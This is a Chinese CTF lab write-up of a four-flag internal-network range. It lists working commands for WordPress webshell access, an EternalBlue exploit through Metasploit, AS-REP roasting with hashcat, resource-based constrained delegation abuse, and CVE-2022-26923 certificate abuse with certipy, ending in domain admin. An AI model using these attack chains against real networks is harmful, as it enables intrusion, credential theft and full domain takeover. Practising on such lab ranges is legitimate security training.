简介:
该靶场为 2022 第三届网鼎杯决赛内网靶场复盘。完成该挑战可以帮助玩家了解内网渗透中的代理转发、内网扫描、信息收集、特权提升以及横向移动技术方法,加强对域环境核心认证机制的理解,以及掌握域环境渗透中一些有趣的技术要点。该靶场共有 4 个 flag,分布于不同的靶机。
靶场链接:
https://yunjing.ichunqiu.com/major/detail/1096?type=2
挑战开始:
flag1
首先扫描下目标IP端口
nmap -sC -sV 39.98.118.179
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.5 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 3072 8e6cbc902801ebc294fc416feae7004b (RSA)
| 256 20efa9b96f37a8ce09ba90ee19fc6f58 (ECDSA)
|_ 256 2ec70bc339cf5b767e9f93172d642f11 (ED25519)
25/tcp open smtp?
|_smtp-commands: Couldn't establish connection on port 25
80/tcp open tcpwrapped
110/tcp open pop3?
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
可以看到并没有开放多少端口
访问80看一看
明显是个wordpress,尝试访问后台
http://39.98.118.179/wp-admin
试了下弱口令
admin/123456
成功进入后台
wp后台的getshell比较简单
直接改模板文件
然后访问,成功shell
根目录下找到flag1
flag2
上传fsacn探测下内网情况
172.22.15.13:88 open
172.22.15.24:3306 open
172.22.15.35:445 open
172.22.15.18:445 open
172.22.15.24:445 open
172.22.15.13:445 open
172.22.15.35:139 open
172.22.15.24:139 open
172.22.15.13:139 open
172.22.15.18:139 open
172.22.15.35:135 open
172.22.15.24:135 open
172.22.15.18:135 open
172.22.15.13:135 open
172.22.15.18:80 open
172.22.15.24:80 open
172.22.15.26:80 open
172.22.15.26:22 open
[*] NetBios: 172.22.15.35 XIAORANG\XR-0687
[+] 172.22.15.24 MS17-010 (Windows Server 2008 R2 Enterprise 7601 Service Pack 1)
[*] NetBios: 172.22.15.13 [+]DC XR-DC01.xiaorang.lab Windows Server 2016 Standard 14393
[*] NetInfo:
[*]172.22.15.13
[->]XR-DC01
[->]172.22.15.13
[*] NetInfo:
[*]172.22.15.24
[->]XR-WIN08
[->]172.22.15.24
[*] NetInfo:
[*]172.22.15.35
[->]XR-0687
[->]172.22.15.35
[*] NetBios: 172.22.15.24 WORKGROUP\XR-WIN08 Windows Server 2008 R2 Enterprise 7601 Service Pack 1
[*] 172.22.15.13 (Windows Server 2016 Standard 14393)
[*] NetInfo:
[*]172.22.15.18
[->]XR-CA
[->]172.22.15.18
[*] NetBios: 172.22.15.18 XR-CA.xiaorang.lab Windows Server 2016 Standard 14393
[*] WebTitle: http://172.22.15.26 code:200 len:39962 title:XIAORANG.LAB
[*] WebTitle: http://172.22.15.18 code:200 len:703 title:IIS Windows Server
[*] WebTitle: http://172.22.15.24 code:302 len:0 title:None 跳转url: http://172.22.15.24/www
[+] http://172.22.15.18 poc-yaml-active-directory-certsrv-detect
[*] WebTitle: http://172.22.15.24/www/sys/index.php code:200 len:135 title:None
分析一下内网情况:
172.22.15.13 DC
172.22.15.18 CA
172.22.15.24 内网单独一台win机器
172.22.15.26 入口
172.22.15.35 域内成员机
因为172.22.15.24这台有ms17010,所以先看看他
先用frp做隧道(常规上传执行)
接着使用msf挂代理打
search ms17-010
use exploit/windows/smb/ms17_010_eternalblue
set payload windows/x64/meterpreter/bind_tcp
set rhost 172.22.15.24
run
msf这个打成功了,但是进不去shell
最后通过加载powershell成功添加用户
load powershell
powershell_execute "net user ljc qwer1234! /add"
powershell_execute "net localgroup administrators ljc /add"
成功RDP
成功找到flag2
flag3
在msf上用kiwi看了下,并没有什么凭证。
看见桌面上有一个phpstudy,打开发现开启了web服务
尝试进入数据库找一找密码
找到管理员密码,然后解密123456--
进入到后台后,在团队列表中发现了一些有用的账号
先进行一波搜集
lixiuying@xiaorang.lab
lixiaoliang@xiaorang.lab
zhangyi@xiaorang.lab
jiaxiaoliang@xiaorang.lab
zhangli@xiaorang.lab
zhangwei@xiaorang.lab
liuqiang@xiaorang.lab
wangfang@xiaorang.lab
wangwei@xiaorang.lab
wanglihong@xiaorang.lab
huachunmei@xiaorang.lab
wanghao@xiaorang.lab
zhangxinyu@xiaorang.lab
huzhigang@xiaorang.lab
lihongxia@xiaorang.lab
wangyulan@xiaorang.lab
chenjianhua@xiaorang.lab
先来尝试一下看有没有用户没有设置Kerberos 预身份认证
proxychains python3 GetNPUsers.py -no-pass -dc-ip 172.22.15.13 -usersfile /home/kali/Desktop/user.txt xiaorang.lab/
成功返回两个票据
尝试使用hashcat解密
hashcat -m 18200 --force -a 0 /home/kali/Desktop/hash.txt --wordlist /usr/share/wordlists/rockyou.txt
成功破解密码
lixiuying@xiaorang.lab/winniethepooh
huachunmei@xiaorang.lab/1qaz2wsx
接着尝试登陆,成功登陆172.22.15.35机器
先简单看了下这两个用户所在组,发现都只是普通域内用户。
接着查看下 lixiuying 用户对当前机器的 DACL
Import-Module .\PowerView.ps1
Get-DomainUser -Identity lixiuying -Properties objectsid
Get-DomainObjectAcl -Identity XR-0687 | ?{$_.SecurityIdentifier -match "S-1-5-21-3745972894-1678056601-2622918667-1131"}
发现lixiuying用户对当前机器有GenericWrite权限,意味着可以修改该机器的任何属性,接下来可以通过 RBCD(基于资源的约束委派)进行提权。
直接使用工具生成机器账户
https://github.com/pkb1s/SharpAllowedToAct.git
SharpAllowedToAct.exe -m ljc886 -p qwer1234! -t XR-0687 -a XR-DC01.xiaorang.lab -d xiaorang.lab
接着使用 impacket 的 getST.py 生成票据
proxychains python3 getST.py xiaorang.lab/ljc886\$:qwer1234! -dc-ip 172.22.15.13 -spn cifs/XR-0687.xiaorang.lab -impersonate Administrator
接着使用生成的 Administrator.ccache 票据获取系统管理员权限
export KRB5CCNAME=Administrator.ccache
proxychains impacket-wmiexec XR-0687.xiaorang.lab -no-pass -k -dc-ip 172.22.15.13
这里要先设置下域名IP
接着就会成功反弹一个shell,成功找到flag3
flag4
最后一个flag肯定是域提权,先前看到fscan的扫描结果里面,有一台CA服务器,那估计就是和证书相关的漏洞。
首先用Certify扫描了下,发现并不是证书模板相关的漏洞
这时候想到去年出现过一个CVE-2022–26923
先在kali安装certipy
pip3 install certipy-ad
通过 certipy 创建一个机器账号 HACK,并且设置 DNS Host Name 为域控的 XR-DC01.xiaorang.lab
proxychains certipy account create -u lixiuying@xiaorang.lab -p winniethepooh -dc-ip 172.22.15.13 -user HACK -pass qwer1234! -dns 'XR-DC01.xiaorang.lab'
查询域控 CA 名
proxychains certipy find -u lixiuying@xiaorang.lab -p winniethepooh -dc-ip 172.22.15.13
用该机器账户向 XR-CA 请求证书
proxychains certipy req -u HACK\$@xiaorang.lab -p qwer1234! -target 172.22.15.18 -ca "xiaorang-XR-CA-CA" -template Machine
用申请到的证书进行 PKINIT Kerberos 身份认证,获取域控制器账号 TGT 票据
proxychains certipy auth -pfx xr-dc01.pfx -dc-ip 172.22.15.13 -debug
这里遇到了一个报错,KDC_ERR_PADATA_TYPE_NOSUPP 错误,显示 KDC 不支持 PADATA 类型(预认证数据), Kerberos 预身份验证失败。
参考了下whoami师傅的文章
https://whoamianony.top/posts/pass-the-certificate-when-pkinit-is-nosupp/
先转换一下请求到的证书格式
certipy cert -pfx xr-dc01.pfx > cert.pem
openssl pkcs12 -in cert.pem -keyex -CSP "Microsoft Enhanced Cryptographic Provider v1.0" -export -out cert.pfx
接着利用 whoami 师傅的工具,通过证书认证到 LDAPS,添加机器账户 HACK03,并设置 HACK03 到域控制器 XR-DC01 的 RBCD
PassTheCertificate.exe -CertPath .\cert.pfx -MachineAccount HACK03$ -MachinePassword Qwer1234 -Target "CN=XR-DC01,OU=Domain Controllers,DC=xiaorang,DC=lab"
使用 impacket 的 getST.py 生成票据
proxychains impacket-getST xiaorang.lab/HACK03\$:Qwer1234 -dc-ip 172.22.15.13 -spn cifs/XR-DC01.xiaorang.lab -impersonate Administrator
然后使用生成的 Administrator.ccache 票据获取系统管理员权限
export KRB5CCNAME=Administrator.ccache
proxychains impacket-wmiexec XR-DC01.xiaorang.lab -no-pass -k -dc-ip 172.22.15.13
这里也需要配置下hosts
成功shell
成功获取flag4
Comments NOTHING